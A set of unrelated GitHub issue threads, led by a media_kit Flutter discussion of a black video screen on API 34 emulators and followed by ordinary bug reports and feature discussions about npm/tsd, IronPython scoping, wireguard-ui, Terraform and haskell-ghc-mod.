dependency_overrides:
  media_kit:
    git:
      url: https://github.com/media-kit/media-kit
      path: media_kit
  media_kit_video:
    git:
      url: https://github.com/media-kit/media-kit
      path: media_kit_video
  media_kit_libs_video:
    git:
      url: https://github.com/media-kit/media-kit
      path: libs/universal/media_kit_libs_video

dev_dependencies:
  flutter_test:
    sdk: flutter

  flutter_lints: ^3.0.0
  build_runner: ^2.4.8
  injectable_generator: ^2.5.1
  auto_route_generator: ^7.3.2
  freezed: ^2.4.7
  flutter_gen_runner: ^5.4.0
  hive_generator: ^2.0.1
  json_serializable: ^6.7.1

flutter_gen:
  output: lib/presentation/shared/assets/

  integrations:
    flutter_svg: true

flutter_launcher_icons:
  android: "launcher_icon"
  ios: true
  image_path: "assets/icons/logo/logo.png"
  min_sdk_android: 16

flutter:
  uses-material-design: true

  assets:
    - assets/icons/
    - assets/docs/

  fonts:
    - family: Geologica
      fonts:
        - asset: assets/fonts/Geologica-Black.ttf
        - asset: assets/fonts/Geologica-Bold.ttf
        - asset: assets/fonts/Geologica-ExtraBold.ttf
        - asset: assets/fonts/Geologica-ExtraLight.ttf
        - asset: assets/fonts/Geologica-Light.ttf
        - asset: assets/fonts/Geologica-Medium.ttf
        - asset: assets/fonts/Geologica-Regular.ttf
        - asset: assets/fonts/Geologica-SemiBold.ttf
        - asset: assets/fonts/Geologica-Thin.ttf

Weird, did you terminate the app and recompile?
Maybe a flutter clean to be sure all is good

Yep, tried again with flutter clean. Removed unnecessary packages, recompiled. And still, unfortunately same error is thrown.

@abdelaziz-mahdy Then, tried again with another emulator (Pixel 7 API 33).
ensureInitialized still fails, but black screen is now gone.
At this point, i dont know what mught be the issue exactly, but maybe your package somehow doesnt support API 34?

@abdelaziz-mahdy Then, tried again with another emulator (Pixel 7 API 33).
ensureInitialized still fails, but black screen is now gone.
At this point, i dont know what mught be the issue exactly, but maybe your package somehow doesnt support API 34?

Well I don't think there should be any problem with API number, but I am not sure
Also these tries with the dependency override? There was a fix I don't think it was released related to the error, this is why I suggested it

note please test on a physical device since simulators are not stable.

Just a question, do you have  catch all the exceptions set to be on
In vscode? I think that's the reason for the ensure error

Yes, they were on. I already figured out that the error is caught on your side. But I’m still frustrated about the reason

Yes, they were on. I already figured out that the error is caught on your side. But I’m still frustrated about the reason

The reason for the error? Is that lib are loaded and some are not based on your configuration and device, so we try to load each of them and if it failed it gets ignored
But if none worked it will throw an exception

I created an empty project to test this problem and it was still. The test image was Android 14.0 (API 34) arm64-v8a.
The problem seems to only occur on an emulator. It works on my physical device Galaxy S8+ (Android 9.0 API 28).

pubspec.yaml
name: media_kit_sample
description: "A new Flutter project."
publish_to: 'none'
version: 0.1.0

environment:
  sdk: '>=3.3.3 <4.0.0'

dependencies:
  flutter:
    sdk: flutter
  media_kit: ^1.1.10
  media_kit_video: ^1.2.4
  media_kit_libs_video: ^1.0.4

dev_dependencies:
  flutter_test:
    sdk: flutter
  flutter_lints: ^3.0.0

flutter:
  uses-material-design: true
  assets:
    - assets/videos/

main.dart
import 'package:flutter/material.dart';
import 'package:media_kit/media_kit.dart';
import 'package:media_kit_video/media_kit_video.dart';

void main() {
  MediaKit.ensureInitialized();
  runApp(const MaterialApp(home: MainApp()));
}

class MainApp extends StatefulWidget {
  const MainApp({super.key});

  @override
  State<MainApp> createState() => _MainAppState();
}

class _MainAppState extends State<MainApp> {
  late final player = Player();

  @override
  void initState() {
    super.initState();
    player.open(Media('asset://assets/videos/1.mp4'));
  }

  @override
  void dispose() {
    player.dispose();
    super.dispose();
  }

  @override
  Widget build(BuildContext context) {
    return Center(child: Video(controller: VideoController(player)));
  }
}

console
Launching lib/main.dart on sdk gphone64 arm64 in debug mode...
Running Gradle task 'assembleDebug'...
✓  Built build/app/outputs/flutter-apk/app-debug.apk.
Installing build/app/outputs/flutter-apk/app-debug.apk...
Debug service listening on ws://<IP_ADDRESS>:56253/KRX01ossHpc=/ws
Syncing files to device sdk gphone64 arm64...
D/media_kit(24427): Asset name: flutter_assets/assets/videos/1.mp4
D/media_kit(24427): Asset size: 1769817
D/media_kit(24427): Asset directory: /data/user/0/com.example.media_kit_sample/files/com.alexmercerind.media_kit/
D/media_kit(24427): Asset directory exists.
D/media_kit(24427): Asset file: /data/user/0/com.example.media_kit_sample/files/com.alexmercerind.media_kit/flutter_assets_assets_videos_1.mp4
D/media_kit(24427): Asset file exists.
I/media_kit(24427): com.alexmercerind.media_kit_video.VideoOutputManager.create: -5476376618711758032
I/media_kit(24427): flutterJNIAPIAvailable = true
I/media_kit(24427): com.alexmercerind.media_kit_video.VideoOutput: id = 0
I/flutter (24427): {id: 0}
I/flutter (24427): media_kit: AndroidVideoController: Emulator detected.
I/flutter (24427): media_kit: AndroidVideoController: Enforcing S/W rendering.
I/flutter (24427): media_kit: wakelock: _count = 1
I/media_kit(24427): com.alexmercerind.media_kit_video.VideoOutputManager.createSurface: -5476376618711758032
I/flutter (24427): {wid: 12402}
D/edia_kit_sample(24427): PlayerBase::PlayerBase()
D/edia_kit_sample(24427): TrackPlayerBase::TrackPlayerBase()
I/libOpenSLES(24427): Emulating old channel mask behavior (ignoring positional mask 0x3, using default mask 0x3 based on channel count of 2)
D/edia_kit_sample(24427): PlayerBase::stop() from IPlayer
D/AudioTrack(24427): stop(72): called with 0 frames delivered
E/libOpenSLES(24427): Configuration error: unknown key
W/libOpenSLES(24427): Leaving AndroidConfiguration::GetConfiguration (SL_RESULT_PARAMETER_INVALID)
I/media_kit(24427): com.alexmercerind.media_kit_video.VideoOutputManager.setSurfaceTextureSize: -5476376618711758032 1280 720
E/EGL_emulation(24427): tid 24522: eglCreateContext(1755): error 0x3004 (EGL_BAD_ATTRIBUTE)
E/EGL_emulation(24427): tid 24523: eglCreateContext(1755): error 0x3004 (EGL_BAD_ATTRIBUTE)
I/flutter (24427): media_kit: wakelock: _count = 0
D/EGL_emulation(24427): app_time_stats: avg=220.72ms min=2.11ms max=4406.42ms count=21
D/edia_kit_sample(24427): PlayerBase::stop() from IPlayer
D/AudioTrack(24427): stop(72): called with 240456 frames delivered

Emulators are not stable, so as long as the physical device works it's all good

Don't use emulator.

I am facing the same black screen issue on real Samsung device

I am facing the same black screen issue on real Samsung device

Share your flutter doctor output,
And if you are using  impeller or not, since impeller is not supported yet
player =
       Player(configuration: PlayerConfiguration(logLevel: MPVLogLevel.debug));
   player.stream.log.listen((event) {
     print("log $event");
   });

And share logs to further check.
As I saw you replied on the impeller issue, I assume that you are using impeller, and it won't work unless the pr is finished and stable to be merged

Yes! the app is running with impeller, but not working, only black screen while playing.

When will I be able to use Impeller with media_kit

As I mentioned in the other issue, whenever the pr is stable to be merged, keep in mind that video_player doesn't support impeller too yet
They are working on a pr and it's still not merged.
Keep impeller off for now until it's support is added

I know this is closed, but just adding on anyways as I'm sure others are going to continue hitting this since it's not being addressed.
Same issue for me: No video, but audio plays OK, when running on the emulator.  Running on actual devices is OK.
In my experimentation, the problem happens in the emulator when the device image is running API 34 or higher.  API 33 or lower works perfectly.  My current emulator version is 34.2.16 (released July 9, 2024).  I also had the problem on the previous version of the emulator I was using (34.2.16, released August, 2023). My app's target sdk is 34. Tried changing it to both 33 and 35, just as minor due diligence, and it had no effect.
When the problem occurs, the following is logged by my app's Player.stream.log listener...
PlayerLog(prefix: vo/gpu/opengl, level: fatal, text: Could not create EGL context for GLES 2.x +!)
PlayerLog(prefix: vo/gpu/opengl, level: error, text: Could not create a GL context.)
PlayerLog(prefix: vo/gpu, level: error, text: Failed initializing any suitable GPU context!)
PlayerLog(prefix: cplayer, level: fatal, text: Error opening/initializing the selected video_out (--vo) device.)
PlayerLog(prefix: vo/gpu/opengl, level: fatal, text: Could not create EGL context for GLES 2.x +!)
PlayerLog(prefix: vo/gpu/opengl, level: error, text: Could not create a GL context.)
PlayerLog(prefix: vo/gpu, level: error, text: Failed initializing any suitable GPU context!)
PlayerLog(prefix: cplayer, level: fatal, text: Error opening/initializing the VO window.)

btw, I'm not using impeller.

We can't do anything for the emulators at all... every version of those have some new GLES issue.


Error in tsd when I am trying to do npm install,

Hi,
I am stuck with this problem for over a day now, when i am trying to do npm install i am getting the following error:
[ERR!] cwd  : c:\p4\Shared\seedProjects\angular2
[ERR!] os   : Windows_NT 6.1.7601
[ERR!] argv : "node" "c:\p4\Shared\seedProjects\angular2\node_modules\tsd
\build\cli.js" "reinstall" "--overwrite"
[ERR!] node : v0.10.22
[ERR!] tsd  : 0.6.5
[ERR!] Error: tunneling socket could not be established, cause=9408:error:140770
FC:SSL routines:SSL23_GET_SERVER_HELLO:unknown protocol:openssl\ssl\s23_clnt.c:766:
[ERR!] CODE : ECONNRESET
[ERR!] tunneling socket could not be established, cause=9408:error:140770FC:SSL
routines:SSL23_GET_SERVER_HELLO:unknown protocol:openssl\ssl\s23_clnt.c:766:
This is most likely not a problem with tsd itself
and is related to network connectivity.
In most cases you are behind a proxy or have bad network settings.
If you are behind a proxy, please make sure that the
'proxy' config is set properly.  See: https://github.com/DefinitelyTyped/tsd#tsd
rc
[ERR!] .tsdrc could not be retrieved
[ERR!] Please include the following file with any support request:
c:\p4\Shared\seedProjects\angular2\tsd-debug.log
npm ERR! Windows_NT 6.1.7601
npm ERR! argv "C:\Programs\nodejs\\node.exe" "C:\Programs\nodejs\node_mod
ules\npm\bin\npm-cli.js" "run" "tsd-update"
npm ERR! node v0.10.22
npm ERR! npm  v2.9.1
npm ERR! code ELIFECYCLE
npm ERR<EMAIL_ADDRESS>tsd-update: npm run remove-tsd-loader-typings && tsd reinstall --overwrite
npm ERR! Exit status 1
npm ERR!
npm ERR! Failed at the<EMAIL_ADDRESS>tsd-update script 'npm run remove-ts
d-loader-typings && tsd reinstall --overwrite'.
npm ERR! This is most likely a problem with the Angular-2-Seed package,
npm ERR! not with npm itself.
npm ERR! Tell the author that this fails on your system:
npm ERR!     npm run remove-tsd-loader-typings && tsd reinstall --overwrite
npm ERR! You can get their info via:
npm ERR!     npm owner ls Angular-2-Seed
npm ERR! There is likely additional logging output above.
npm ERR! Please include the following file with any support request:
npm ERR!     c:\p4\Shared\seedProjects\angular2\npm-debug.log
npm ERR! Windows_NT 6.1.7601
npm ERR! argv "C:\Programs\nodejs\\node.exe" "C:\Programs\nodejs\node_mod
ules\npm\bin\npm-cli.js" "install"
npm ERR! node v0.10.22
npm ERR! npm  v2.9.1
npm ERR! code ELIFECYCLE
npm ERR<EMAIL_ADDRESS>postinstall: npm run tsd-update && tsd install &&  tsd link
npm ERR! Exit status 1
npm ERR!
npm ERR! Failed at the<EMAIL_ADDRESS>postinstall script 'npm run tsd-upda
te && tsd install && tsd link'.
npm ERR! This is most likely a problem with the Angular-2-Seed package,
npm ERR! not with npm itself.
npm ERR! Tell the author that this fails on your system:
npm ERR!     npm run tsd-update && tsd install && tsd link
npm ERR! You can get their info via:
npm ERR!     npm owner ls Angular-2-Seed
npm ERR! There is likely additional logging output above.
npm ERR! Please include the following file with any support request:
npm ERR!     c:\p4\Shared\seedProjects\angular2\npm-debug.log
What is the error, and what steps should i follow to do an npm install and then a gulp build? And also will npm-debug.log be generated once its built?
And i did look into the site, but couldnt find anything of much help.

Let's see if it's actually related to tsd.  I suspect it is your network setup.
From your command line, create a new folder.  Go in there and type npm init.  Press enter several times to accept all the defaults.  Then type npm install typescript --save.
You should get output like this:
npm WARN package.json<EMAIL_ADDRESS>No description
npm WARN package.json<EMAIL_ADDRESS>No repository field.
npm WARN package.json<EMAIL_ADDRESS>No README data
<EMAIL_ADDRESS>node_modules\typescript

You should also see a package.json file in the folder with a dependencies section like this:
"dependencies": {
    "typescript": "^1.6.2"
  }

Also TypeScript should be available to you.  if you run node node_modules/typescript/lib/tsc.js --version, you should get this output.
message TS6029: Version 1.6.2

Please confirm that all of the above works.  If not, there is some sort of network issue going on which is unrelated to tsd.  You could try upgrading your version of Node (you have v0.10.22 which is fairly old now) or npm (you have 2.9.1 which is from last May).

Yes, everything you say is working... but i am still getting that error..

@ramyarao242 wondering if in the mean time you've found a solution to that error, I'm also having an install issue with tsd install.


Serialiser and aggregator for KllFloatsSketch from Datasketches library

Create a serialiser and aggregator for the new quantiles sketch, KllFloatsSketch, from the Dataksketches library. This will require moving to version 0.11.0 of Datasketches.

Merged into develop.


firefox extension can't follow redirects

PDF files linked on http://www.gesis.org/publikationen/zeitschriften/isi/ (click on the picture on the right side for an example) won't get opened. It used to work fine with previous versions of the extension.
Firefox Nightly 13.0a1 (2012-02-02)
Mac OS 10.7.3

Should be fixed by the above PR, if you still have problems leave a comment an I'll reopen the issue.
Thanks,
Brendan


Add guidance to CONTRIBUTING.md about documentation and testing

I had some ideas about improving our practices around documentation and testing and added them to CONTRIBUTING.md. Let me know what you think. Is it too early in the project to adopt these ideas?

I personally would like this as the general attitude. For coverage, I added a script in #55 to help discover untested code. I'm not sure if we can set up codecov.io which would make this process much more automated, but in any case I think we're too early on to enforce or worry too much about automated test coverage at the time a feature is written.
I tried adding #![warn(missing_docs)] and we currently have 57 warnings. I feel more strongly that undocumented code is a bad idea and wouldn't mind fixing these and then adding the attribute (but probably still just a warning). Nonetheless I think your text still stands and I'm happy to state it in the contributing doc.


Create Wavelet API

Requirement

Ability to be extensible for any mother wavelet
Have state i.e. translation and dilation
Must have ability to be converted to discrete computation for Digital Signal Processing

Added basic Wavelet[I] class; commit: 498d03075604974247470e715186817edf85eaa8

Improved implementation of Wavelet[I] class; commit 75a860103d56d744d79ceccc56924a3385d36283


Get all tests of Suite

Hi. Could you please help me to get the list of all test classes inside SuiteClasses annotation? I didn't find the way to do it.
@RunWith(Suite::class)
@Suite.SuiteClasses(
        TestClassA::class,
        TestClassB::class,
        TestClassC::class
)
class AllSmokeSuite

For example, in case above I would like to get TestClassA, TestClassB and TestClassC. After that I want to filter my tests and run only test from these classes.
So, the main purpose is to run the tests of AllSmokeSuite.

Hi! We don't currently support filtering by test suites via the CLI (want to keep it as simple as possible). You could do this with the Java API  manually if you wanted to use it - the class annotations will all be part of the TestMethod#annotations field, and you can simply filter your tests out by looking through these annotations for one with the desired. Looks like we were missing support for arrays of values in annotation parsing, I'm putting a small PR up for that now that you'll need

I've merged #43 which adds support for array types in annotation parsing, so you should be able to use that to parse out this annotation, get the values, and then filter teests according to those classes.

Thanks, it work really good! You've saved my day!


Add missing dependency.

Coverage remained the same at 88.602% when pulling df14fc1a8b399c5fd763dbec1cb42eb81ecf3622 on johngian:more-dependencies into 311bd347ab40927e4d36ca6f61f3f02a0bc2ad83 on mozilla:master.


unable to login

(sorry if this is the wrong place)
I am unable to log in to wireguard-ui after my server was rebooted. I'm able to see the login page, but I get the error Invalid credentials every time I try to log in.

I'm running v0.2.5 from the releases page
I've tried several devices, incognito mode, cleared cookies, etc
I've restarted wgui itself. There's no significant log output related to the failed login as far as I can tell
I've confirmed that the username and password I'm using are correct per the db/server/users.json file
My wireguard server is up and running. I've restarted all wireguard and wgui-related services

It would be nice to have the option to disable authentication altogether since it's not necessary in my situation. Let me know if there's anything else I can provide to help track down this issue

this is a permissions-related issue. Although I haven't fully resolved it, I did determine that wgui wasn't able to read the files under its db folder. Running wgui manually as root resolved this for now.
There should be some log output whenever wgui starts up and is unable to read its json settings files


[WIP] Watchlist Feature and Built-in Page

Beginnings of the watchlist feature.

Created a built-in page for the watchlist.
From the built-in you can add sites, see which have been resolved or not, and choose to seed them when they become available.
Added a notification badge to the dropdown menu that will tell you if there are any resolved sites since the last time you looked.

[WIP]
Still need to test several aspects to the watch list and there are a few things that I'd like to improve or expand on before complete.

Solid work on this. I made a few adjustments:

I moved the watchlist notification into the browser UI itself so it's a little easier to notice

I updated some aesthetics on the watchlist page itself

I decided to remove the "seed after resolved" for a couple reasons, but the main one was that it added complexity that I just don't think we need that badly.

You did a good job with the adder-menu on the top right but I'm going to turn it into a modal


Add support for hue play

Manufacture: Philips
Product ID: LCT024
Device ID: 528
Profile ID: 49246

#56

#57 Made a pull request.


das: DASer should kick off without waiting for new header event

The DASer does not kick off instantly and waits until at least one recent header is received from the network. Instead, DASer should kick off instantly on the node start by detecting that the current stored Head is higher than the last sampled height.

It seems like this can only happen in case the node is started from complete zero, i.e store.Head.Height == 1

AFAIU the only case where this is an issue is in testing where pubsub is unreliable.

And only in case the node is started afresh, according to the code.

Currently, DASer checks the store's head as a network head only when it constructs checkpoint during start time, so the option is either we make Daser check for the store's head somewhere in runtime like next to the newJob or we do nothing and live with this issue(which is not that bad)

I think DASer not receiving headers through header subscriber is symptomatic of a larger problem and I'm not really sure if putting a bandaid on that by introducing fallback to store is a good idea. Initially, @walldiss really did want to treat the header package kind of as a blackbox which I appreciate, and technically it should be guaranteed that the DASer kicks off within max blocktime (which is 15 seconds) as in a healthy network, a header is received ever 15 seconds.

I still do not understand why this is an important fallback to prioritise - this is only observable if header-sub fails, which should not happen and is symptomatic of a deeper network issue.

No priority is put into it; just an issue with a discussion. I also made it in the begging with the wrong assumption that it happens more often. Note that it also happens when you start the node for the first time, and users may have to wait up to 15 secs until the DASer kicks in, so it's also UX issue


Dictionary lookup of class namespace should not apply to explicitly declared variables

A dictionary lookup behaviour is standard for classes. This means that any locally referenced name is first looked up in the class attribute dictionary (local namespace), before looked up in the enclosing lexical scopes. This is true even if the variable to be looked up is late-bound, e.g. introduced at runtime by modifying locals() or though metaclass __prepare__. This behaviour is already implemented in #1151 in general and in recent #1551 for metaclasses.
For instance:
prepared = "global"

class C:
    executed = prepared  # lexical name binding

assert C.executed == "global"

class Meta(type):
    @classmethod
    def __prepare__(metacls, name, bases):
        return {'prepared' : "meta"}

class C(metaclass=Meta):
    executed = prepared  # namespace dictionary lookup

assert C.executed == "meta"

However, when a variable is explicitly declared global, the default namebinding rules are overridden and the name has to resolve to a global variable:
prepared = "global"

class Meta(type):
    @classmethod
    def __prepare__(metacls, name, bases):
        return {'prepared' : "meta"}

class C(metaclass=Meta):
    global prepared
    executed = prepared  # explicit lexical name binding

assert C.executed == "global"

This is not how IronPython handles it currently.

An interesting story emerges when the variable is declared nonlocal rather than global. One (like me) would expect it too to override default namebinding rules and force lexical lookup. However, all CPython versions up to and including 3.10 still do local dictionary lookup:
class Meta(type):
    @classmethod
    def __prepare__(metacls, name, bases):
        return {'prepared' : "meta"}

def f():
    prepared = "f-local"
    class C(metaclass=Meta):
        nonlocal prepared
        executed = prepared  # which prepared?

    assert C.executed == "meta"  # ah, namespace dictionary lookup

f()

IronPython currently matches it, simply because none of this explicit declaration is taken into account yet. But as a programmer and IronPython developer I see it as a bug. Perhaps nobody reported it yet to CPython, or a report has been made, but got a very low priority. After all, this is a very unlikely piece of code that would reveal the bug. And arguably bad style.
Another demonstration that this is likely a bug rather a deliberate design is that references are resolved differently depending whether they are read (namespace lookup) or written (lexical lookup). To modify the example above a little:
class Meta(type):
    @classmethod
    def __prepare__(metacls, name, bases):
        return {'prepared' : "meta"}

def f():
    prepared = "f-local"
    class C(metaclass=Meta):
        nonlocal prepared
        prepared = "C-set"   # lexical lookup to nonlocal prepared
        executed = prepared  # namespace dictionary lookup, will not fetch "C-set"
    assert C.executed == "meta"
    assert prepared == "C-set"

f()

I'd prefer to implement the behaviour that seems correct, though feel uncomfortable deviating from CPython. But if I won't do it now, and then CPython one day changes its behaviour, who will remember the fix that now seems easy.

The nonlocal case is indeed odd, not what I would expect. Seems obscure enough that it's unlikely anyone would be relying on this behaviour. So, as long as it's not causing any CPython test failures, I'm fine with fixing it. We could have a test case pointing to the details (which could fail if CPython ever changes to match).


Module Test cases to be updated - Resource Group

Some of modules are throwing the "Resource group does not exist in the Account".

Based on Sean recommendations, we need to update the test cases in the stage
https://github.com/terraform-ibm-modules/terraform-ibm-toolkit-log-analysis-bind/blob/main/test/stages/stage-logdna.tf#L4

Error: [0m Error: [ERROR] Error retrieving container vpc cluster: Request failed with status code: 404, ServerErrorResponse: {"incidentID":"b6a146e1-d179-44a2-8d18-96b70c9c1a2e","code":"G0004","description":"The specified cluster could not be found. If applicable, make sure that you target the correct account and resource group.","type":"General","recoveryCLI":"To list the clusters you have access to, run 'ibmcloud ks cluster ls'. To list the resource groups that you have access to, run 'ibmcloud resource groups'. To target the resource group, run 'ibmcloud target -g \u003cresource_group\u003e'."}
│
│   with module.dev_cluster.data.ibm_container_vpc_cluster.config,
│   on .terraform/modules/dev_cluster/main.tf line 238, in data "ibm_container_vpc_cluster" "config":
│  238: data ibm_container_vpc_cluster config {
│
╵
╷
Error: [0m Error: [ERROR] Given Resource Group is not found in the account : %!s() {

Address the Resource group issue and debugging the Cluster not found issue


Haskell-ghc-mod: ghc-mod command lang failed with error code 1

[Enter steps to reproduce below:]

...
...

Atom Version: 1.4.3
System: Mac OS X 10.11.3
Thrown From: haskell-ghc-mod package, v1.6.6
Stack Trace
Haskell-ghc-mod: ghc-mod command lang failed with error code 1
At caps: {"version":[5,2,1,2],"legacyInteractive":false,"fileMap":false,"rootExec":false,"quoteArgs":false,"optparse":false}
URI: undefined
Args:
message: /Library/Frameworks/GHC.framework/Versions/7.8.3-x86_64/usr/lib/ghc-7.8.3/settings: openFile: does not exist (No such file or directory)

log:
-0.335s: getProcessOptions(.)
-0.326s: PATH = /Users/edmund/Library/Haskell/bin/:/usr/bin:/bin:/usr/sbin:/sbin
-0.156s: warn: nameless module in /Users/edmund/Dropbox/Programming/Haskell/src/pipes_exercise_2.hs
-0.155s: Pipes created
-0.154s: Pipes updating
-0.154s: getProcessOptions(/Users/edmund/Dropbox/Programming/Haskell/src)
-0.147s: PATH = /Users/edmund/Library/Haskell/bin/:/usr/bin:/bin:/usr/sbin:/sbin
-0.112s: Pipes moduleName mismatch: undefined != Pipes
-0.112s: Pipes.Prelude created
-0.112s: Pipes.Prelude updating
-0.086s: Pipes.Prelude moduleName mismatch: undefined != Pipes.Prelude
-0.086s: Prelude created
-0.086s: Prelude updating
-0.056s: Prelude moduleName mismatch: undefined != Prelude
-0.038s: {"version":[5,2,1,2],"legacyInteractive":false,"fileMap":false,"rootExec":false,"quoteArgs":false,"optparse":false}
-0.036s: running /Users/edmund/Library/Haskell/bin/ghc-mod lang with options.cwd = .,options.env = [object Object],options.encoding = utf-8
-0.03s: running /Users/edmund/Library/Haskell/bin/ghc-mod flag with options.cwd = .,options.env = [object Object],options.encoding = utf-8
-0.026s: running /Users/edmund/Library/Haskell/bin/ghc-mod browse,-d,Pipes with options.cwd = /Users/edmund/Dropbox/Programming/Haskell/src,options.env = [object Object],options.encoding = utf-8
-0.023s: running /Users/edmund/Library/Haskell/bin/ghc-mod browse,-d,Pipes.Prelude with options.cwd = /Users/edmund/Dropbox/Programming/Haskell/src,options.env = [object Object],options.encoding = utf-8
-0.002s: ghc-mod said: /Library/Frameworks/GHC.framework/Versions/7.8.3-x86_64/usr/lib/ghc-7.8.3/settings: openFile: does not exist (No such file or directory)
-0.002s: ghc-mod said: /Library/Frameworks/GHC.framework/Versions/7.8.3-x86_64/usr/lib/ghc-7.8.3/settings: openFile: does not exist (No such file or directory)
-0.001s: /Users/edmund/Library/Haskell/bin/ghc-mod ended with code 1
0s: code 1: /Library/Frameworks/GHC.framework/Versions/7.8.3-x86_64/usr/lib/ghc-7.8.3/settings: openFile: does not exist (No such file or directory)

code 1: /Library/Frameworks/GHC.framework/Versions/7.8.3-x86_64/usr/lib/ghc-7.8.3/settings: openFile: does not exist (No such file or directory)

    at module.exports.Util.mkError (/Users/edmund/.atom/packages/haskell-ghc-mod/lib/util.coffee:154:15)
    at BufferedProcess.exit (/Users/edmund/.atom/packages/haskell-ghc-mod/lib/ghc-mod/ghc-modi-process-real.coffee:122:20)
    at triggerExitCallback (/Applications/Atom.app/Contents/Resources/app.asar/src/buffered-process.js:213:47)
    at /Applications/Atom.app/Contents/Resources/app.asar/src/buffered-process.js:227:18
    at Socket.<anonymous> (/Applications/Atom.app/Contents/Resources/app.asar/src/buffered-process.js:98:18)
    at emitOne (events.js:82:20)
    at Socket.emit (events.js:169:7)
    at Pipe._onclose (net.js:469:12)

Commands

Config
{
  "core": {
    "disabledPackages": [
      "autocomplete-css",
      "autocomplete-html",
      "autocomplete-atom-api",
      "autocomplete-plus"
    ],
    "themes": [
      "nucleus-dark-ui",
      "gruvbox"
    ]
  },
  "haskell-ghc-mod": {
    "additionalPathDirectories": [
      "/Users/edmund/Library/Haskell/bin/"
    ],
    "ghcModPath": "/Users/edmund/Library/Haskell/bin/ghc-mod",
    "ghcModiPath": "/Users/edmund/Library/Haskell/bin/ghc-modi",
    "onMouseHoverShow": "Nothing"
  }
}

Installed Packages
# User
autocomplete-haskell, v0.6.2
gruvbox, v1.0.5
haskell-ghc-mod, v1.6.6
ide-haskell, v1.3.9
ide-haskell-cabal, v1.0.0
ide-haskell-repl, v0.0.17
language-haskell, v1.5.2
nucleus-dark-ui, v0.7.4

# Dev
No dev packages

Your ghc installation seems to be broken. Either that, or ghc-mod was
compiled in another environment.
8 февр. 2016 г. 0:49 пользователь "edmundcape"<EMAIL_ADDRESS>написал:

[Enter steps to reproduce below:]
1
2
Atom Version: 143
System: Mac OS X 10113
Thrown From: haskell-ghc-mod
https://githubcom/atom-haskell/haskell-ghc-mod package, v166
Stack Trace
Haskell-ghc-mod: ghc-mod command lang failed with error code 1
At caps: {"version":[5,2,1,2],"legacyInteractive":false,"fileMap":false,"rootExec":false,"quoteArgs":false,"optparse":false}
URI: undefined
Args:
message: /Library/Frameworks/GHCframework/Versions/783-x86_64/usr/lib/ghc-783/settings: openFile: does not exist (No such file or directory)
log:
-0335s: getProcessOptions()
-0326s: PATH = /Users/edmund/Library/Haskell/bin/:/usr/bin:/bin:/usr/sbin:/sbin
-0156s: warn: nameless module in /Users/edmund/Dropbox/Programming/Haskell/src/pipes_exercise_2hs
-0155s: Pipes created
-0154s: Pipes updating
-0154s: getProcessOptions(/Users/edmund/Dropbox/Programming/Haskell/src)
-0147s: PATH = /Users/edmund/Library/Haskell/bin/:/usr/bin:/bin:/usr/sbin:/sbin
-0112s: Pipes moduleName mismatch: undefined != Pipes
-0112s: PipesPrelude created
-0112s: PipesPrelude updating
-0086s: PipesPrelude moduleName mismatch: undefined != PipesPrelude
-0086s: Prelude created
-0086s: Prelude updating
-0056s: Prelude moduleName mismatch: undefined != Prelude
-0038s: {"version":[5,2,1,2],"legacyInteractive":false,"fileMap":false,"rootExec":false,"quoteArgs":false,"optparse":false}
-0036s: running /Users/edmund/Library/Haskell/bin/ghc-mod lang with optionscwd = ,optionsenv = [object Object],optionsencoding = utf-8
-003s: running /Users/edmund/Library/Haskell/bin/ghc-mod flag with optionscwd = ,optionsenv = [object Object],optionsencoding = utf-8
-0026s: running /Users/edmund/Library/Haskell/bin/ghc-mod browse,-d,Pipes with optionscwd = /Users/edmund/Dropbox/Programming/Haskell/src,optionsenv = [object Object],optionsencoding = utf-8
-0023s: running /Users/edmund/Library/Haskell/bin/ghc-mod browse,-d,PipesPrelude with optionscwd = /Users/edmund/Dropbox/Programming/Haskell/src,optionsenv = [object Object],optionsencoding = utf-8
-0002s: ghc-mod said: /Library/Frameworks/GHCframework/Versions/783-x86_64/usr/lib/ghc-783/settings: openFile: does not exist (No such file or directory)
-0002s: ghc-mod said: /Library/Frameworks/GHCframework/Versions/783-x86_64/usr/lib/ghc-783/settings: openFile: does not exist (No such file or directory)
-0001s: /Users/edmund/Library/Haskell/bin/ghc-mod ended with code 1
0s: code 1: /Library/Frameworks/GHCframework/Versions/783-x86_64/usr/lib/ghc-783/settings: openFile: does not exist (No such file or directory)
code 1: /Library/Frameworks/GHCframework/Versions/783-x86_64/usr/lib/ghc-783/settings: openFile: does not exist (No such file or directory)
at moduleexportsUtilmkError (/Users/edmund/atom/packages/haskell-ghc-mod/lib/utilcoffee:154:15)
at BufferedProcessexit (/Users/edmund/atom/packages/haskell-ghc-mod/lib/ghc-mod/ghc-modi-process-realcoffee:122:20)
at triggerExitCallback (/Applications/Atomapp/Contents/Resources/appasar/src/buffered-processjs:213:47)
at /Applications/Atomapp/Contents/Resources/appasar/src/buffered-processjs:227:18
at Socket<anonymous> (/Applications/Atomapp/Contents/Resources/appasar/src/buffered-processjs:98:18)
at emitOne (eventsjs:82:20)
at Socketemit (eventsjs:169:7)
at Pipe_onclose (netjs:469:12)

Commands
Config
{
"core": {
"disabledPackages": [
"autocomplete-css",
"autocomplete-html",
"autocomplete-atom-api",
"autocomplete-plus"
],
"themes": [
"nucleus-dark-ui",
"gruvbox"
]
},
"haskell-ghc-mod": {
"additionalPathDirectories": [
"/Users/edmund/Library/Haskell/bin/"
],
"ghcModPath": "/Users/edmund/Library/Haskell/bin/ghc-mod",
"ghcModiPath": "/Users/edmund/Library/Haskell/bin/ghc-modi",
"onMouseHoverShow": "Nothing"
}
}
Installed Packages
User
autocomplete-haskell, v062
gruvbox, v105
haskell-ghc-mod, v166
ide-haskell, v139
ide-haskell-cabal, v100
ide-haskell-repl, v0017
language-haskell, v152
nucleus-dark-ui, v074
DevNo dev packages
—
Reply to this email directly or view it on GitHub
https://github.com/atom-haskell/haskell-ghc-mod/issues/109.

Indeed.  I'm not sure how it happened, but I since rebuilt the ghc-mod
using cabal.  The version is now updated and compiled for the version of
ghci in use.  The error is now resolved.  Thank you for your help.  - E
On Mon, Feb 8, 2016 at 1:13 AM, Nikolay Yakimov<EMAIL_ADDRESS>wrote:

Your ghc installation seems to be broken. Either that, or ghc-mod was
compiled in another environment.
8 февр. 2016 г. 0:49 пользователь "edmundcape"<EMAIL_ADDRESS>написал:

[Enter steps to reproduce below:]
1
2
Atom Version: 143
System: Mac OS X 10113
Thrown From: haskell-ghc-mod
https://githubcom/atom-haskell/haskell-ghc-mod package, v166
Stack Trace
Haskell-ghc-mod: ghc-mod command lang failed with error code 1
At caps:
